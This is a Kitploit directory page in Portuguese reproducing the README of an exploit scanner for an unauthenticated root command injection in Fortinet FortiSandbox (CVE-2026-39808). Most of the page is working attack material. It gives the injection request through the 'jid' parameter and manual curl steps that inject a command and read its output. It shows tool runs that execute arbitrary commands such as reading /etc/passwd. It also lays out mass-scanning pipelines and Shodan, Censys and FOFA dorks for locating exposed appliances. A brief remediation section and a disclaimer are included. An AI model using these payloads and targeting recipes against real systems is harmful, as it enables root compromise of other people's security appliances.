Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
FortiSandbox-RCE-Exploit-CVE-2026-39808 — Scanner de RCE não autenticado para FortiSandbox CVE-2026-39808 com verificação baseada em canário, execução de comandos e integração com pipeline para varredura em massa. | Kitploit
Ferramentas/GitHubGitHub/ynsmroztas/fortisandbox-rce-exploit-cve-2026-39808
ReconhecimentoScanners de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e Controle
GitHubynsmroztas/fortisandbox-rce-exploit-cve-2026-39808

FortiSandbox-RCE-Exploit-CVE-2026-39808

Scanner de RCE não autenticado para FortiSandbox CVE-2026-39808 com verificação baseada em canário, execução de comandos e integração com pipeline para varredura em massa.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
268há 4 mesesRevisado pelo Kitploit
Compartilhar

Scanner RCE FortiSandbox — CVE-2026-39808

CVE-2026-39808 FortiSandbox RCE

CVE-2026-39808 CVSS 9.8 Python 3.7+ No dependencies MIT License

Injeção de Comandos do Sistema Operacional sem Autenticação como root no Fortinet FortiSandbox

Vulnerabilidade • Instalação • Uso • Como Funciona • Pipeline • Dorks Shodan • Aviso Legal


Vulnerabilidade

CVE-2026-39808 é uma vulnerabilidade crítica de injeção de comandos do sistema operacional sem autenticação no Fortinet FortiSandbox. O endpoint da API /fortisandbox/job-detail/tracer-behavior não sanitiza o parâmetro jid, permitindo que um atacante injete comandos arbitrários do sistema operacional que são executados como root — sem qualquer autenticação.

Causa Raiz

O parâmetro jid no endpoint tracer-behavior é passado diretamente para um comando do sistema sem sanitização. Usando caracteres de pipe (|), um atacante pode sair do contexto de comando pretendido e executar comandos arbitrários:

root@kitploit:~
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1

A saída é gravada em /web/ng/out.txt, que é acessível em /ng/out.txt no servidor web — fornecendo um mecanismo conveniente de leitura para injeção de comando cega.


Instalação

Zero dependências. Apenas biblioteca padrão Python 3.7+.

root@kitploit:~
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py

Uso

Verificação Básica

root@kitploit:~
# Verificar se um alvo é vulnerável (usa detecção baseada em canário)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com

Executar Comando

root@kitploit:~
# Executar um comando específico no alvo
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"

Apenas Verificar (Sem Execução de Comando)

root@kitploit:~
# Apenas verificar se é vulnerável, não executar --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only

Com Proxy Burp

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080

Relatório JSON

root@kitploit:~
python3 fortisandbox_rce.py -u https://target.com -o report.json

Modo Pipeline (Verificação em Massa)

root@kitploit:~
# A partir de uma lista de URLs
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json

# subfinder → httpx → scanner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin

# Shodan → scanner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
  sed 's/^/https:\/\//' | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only -o results.json

Todas as Opções

root@kitploit:~
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
                           [--proxy PROXY] [--timeout TIMEOUT]
                           [--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]

Options:
  -u, --url URL           URL do alvo
  --stdin                 Ler URLs do stdin (modo pipeline)
  --cmd CMD               Comando do sistema operacional a executar (padrão: id)
  --verify-only           Apenas verificar a vulnerabilidade, não executar --cmd
  --proxy PROXY           Proxy HTTP (ex.: http://127.0.0.1:8080)
  --timeout TIMEOUT       Tempo limite HTTP em segundos (padrão: 15)
  --rate-limit RATE_LIMIT Atraso entre alvos em ms (padrão: 0)
  -o, --output FILE       Arquivo de relatório JSON de saída
  --no-banner             Suprimir banner

Como Funciona

O scanner usa um processo de verificação em 5 etapas com prevenção rigorosa de falsos positivos:

root@kitploit:~
Etapa 1  →  Detectar FortiSandbox (impressão digital de título/cabeçalho)
Etapa 2  →  Verificar se o endpoint vulnerável existe
Etapa 3  →  Injetar string canário única via injeção de comando
Etapa 4  →  Ler /ng/out.txt e verificar o canário (validação estrita de texto simples)
Etapa 5  →  Executar comando do usuário + limpeza

Prevenção de Falsos Positivos

O scanner implementa múltiplas camadas de validação para eliminar falsos positivos:

  • Detecção de HTML — Se a URL de saída retornar uma página HTML (catch-all do Angular SPA), é sinalizada como falso positivo
  • Validação de Content-Type — A saída do comando não deve ser text/html
  • Isolamento do Canário — O canário deve aparecer em texto simples limpo, não embutido em tags HTML
  • Regex de Saída id — Correspondência estrita de padrão uid=\d+(\w+) com verificação de tamanho (<1000 bytes)
  • Normalização da URL Base — Remove automaticamente o sufixo /ng para evitar problemas de caminho duplo

Exemplo de Saída

Alvo Vulnerável

root@kitploit:~
  ╔══════════════════════════════════════════════════════════╗
  ║  FortiSandbox RCE Scanner v1.0  —  CVE-2026-39808      ║
  ║  Injeção de Comando sem Autenticação (root)             ║
  ╚══════════════════════════════════════════════════════════╝
  mitsec | @ynsmroztas

  ┌──────────────────────────────────────────────────────────┐
  │ Alvo: https://fortisandbox.example.com                   │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detectado!
  ▸ Verificando endpoint: /fortisandbox/job-detail/tracer-behavior
  ▸ Status do endpoint: 200 | Content-Type: text/html
  ▸ Injetando canário: mitsec_a8k3m2x1
  ▸ Lendo saída: https://fortisandbox.example.com/ng/out.txt
   CRITICAL  🔥 VULNERÁVEL — CVE-2026-39808 CONFIRMADO!
   CRITICAL  Alvo: https://fortisandbox.example.com
  ✓ Canário 'mitsec_a8k3m2x1' verificado na saída (texto simples limpo)

  ──────────────────────────────────────────────────────────
    Saída do Comando: id
  ──────────────────────────────────────────────────────────
  │ uid=0(root) gid=0(root) groups=0(root)
  ──────────────────────────────────────────────────────────

  ✓ Arquivo de saída limpo

Não Vulnerável

root@kitploit:~
  ┌──────────────────────────────────────────────────────────┐
  │ Alvo: https://patched.example.com                        │
  └──────────────────────────────────────────────────────────┘
  ✓ FortiSandbox detectado!
  ▸ Verificando endpoint: /fortisandbox/job-detail/tracer-behavior
  ✗ Endpoint retornou 404 — não vulnerável ou corrigido

Falso Positivo Tratado

root@kitploit:~
  ▸ Lendo saída: https://target.com/ng/out.txt
  ⚠ A URL de saída retorna página HTML — este é o Angular SPA, NÃO a saída do comando
  ▸ Content-Type: text/html
  ▸ Este é um falso positivo — /ng/out.txt serve o index.html do SPA
  ▸ O alvo não parece vulnerável

Formato do Relatório JSON

root@kitploit:~
{
  "scanner": "fortisandbox_rce",
  "version": "1.0",
  "cve": "CVE-2026-39808",
  "scan_date": "2026-04-22T10:30:00+00:00",
  "total_targets": 5,
  "vulnerable": 1,
  "results": [
    {
      "target": "https://fortisandbox.example.com",
      "vulnerable": true,
      "details": {
        "is_fortisandbox": true,
        "server": "Apache",
        "canary": "mitsec_a8k3m2x1",
        "verification": "canary_match",
        "command": "id",
        "output": "uid=0(root) gid=0(root) groups=0(root)"
      },
      "timestamp": "2026-04-22T10:30:00+00:00"
    }
  ]
}

Integração com Pipeline

O scanner envia URLs vulneráveis para o stdout (toda a outra saída vai para o stderr), tornando-o totalmente compatível com pipelines:

root@kitploit:~
# Encontrar alvos vulneráveis e salvar
subfinder -d corp.com -silent | httpx -silent | \
  python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
  tee vulnerable_fortisandbox.txt

# Encadear com nuclei para testes adicionais
cat vulnerable_fortisandbox.txt | nuclei -t cves/

# Verificação em massa silenciosa com limite de taxa
cat shodan_results.txt | \
  python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json

Dorks Shodan

root@kitploit:~
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778

Censys:

root@kitploit:~
services.http.response.html_title:"FortiSandbox"

FOFA:

root@kitploit:~
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"

Google Dork:

root@kitploit:~
intitle:"FortiSandbox - Please login"

Verificação Manual

Se preferir verificar manualmente usando curl:

root@kitploit:~
# Etapa 1: Injetar comando
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
  --data-urlencode "jid=|(id > /web/ng/out.txt)|"

# Etapa 2: Ler a saída
curl -s -k "https://TARGET/ng/out.txt"
# Esperado: uid=0(root) gid=0(root) groups=0(root)

Remediação

  • Atualize o FortiSandbox para a versão 4.4.9 ou superior
  • Se a correção imediata não for possível:
    • Restrinja o acesso de rede à interface de gerenciamento do FortiSandbox
    • Use regras de firewall para bloquear acesso externo aos endpoints /fortisandbox/job-detail/
    • Monitore logs para valores suspeitos do parâmetro jid contendo caracteres de pipe

Linha do Tempo

DataEvento
Novembro 2025Vulnerabilidade descoberta
Abril 2026CVE-2026-39808 publicada
Abril 2026Corrigida no FortiSandbox 4.4.9

Referências

  • Aviso PSIRT da Fortinet — FG-IR-25-325
  • CVE-2026-39808 — NVD

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha autorização escrita adequada antes de testar. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.


Autor

mitsec — @ynsmroztas

  • Portfólio: ynsmroztas.github.io
  • 100+ Hall of Fame | 2.430+ Vulnerabilidades Divulgadas | 1.100+ Descobertas Críticas

Se esta ferramenta ajudou você, considere dar uma ⭐

Baixar ferramenta
DetalheValor
ID CVECVE-2026-39808
Pontuação CVSS9.8 (Crítico)
Vetor de AtaqueRede
AutenticaçãoNenhuma
PrivilégiosRoot
Versões AfetadasFortiSandbox < 4.4.9
Corrigido Em4.4.9 e superiores
AvisoFG-IR-25-325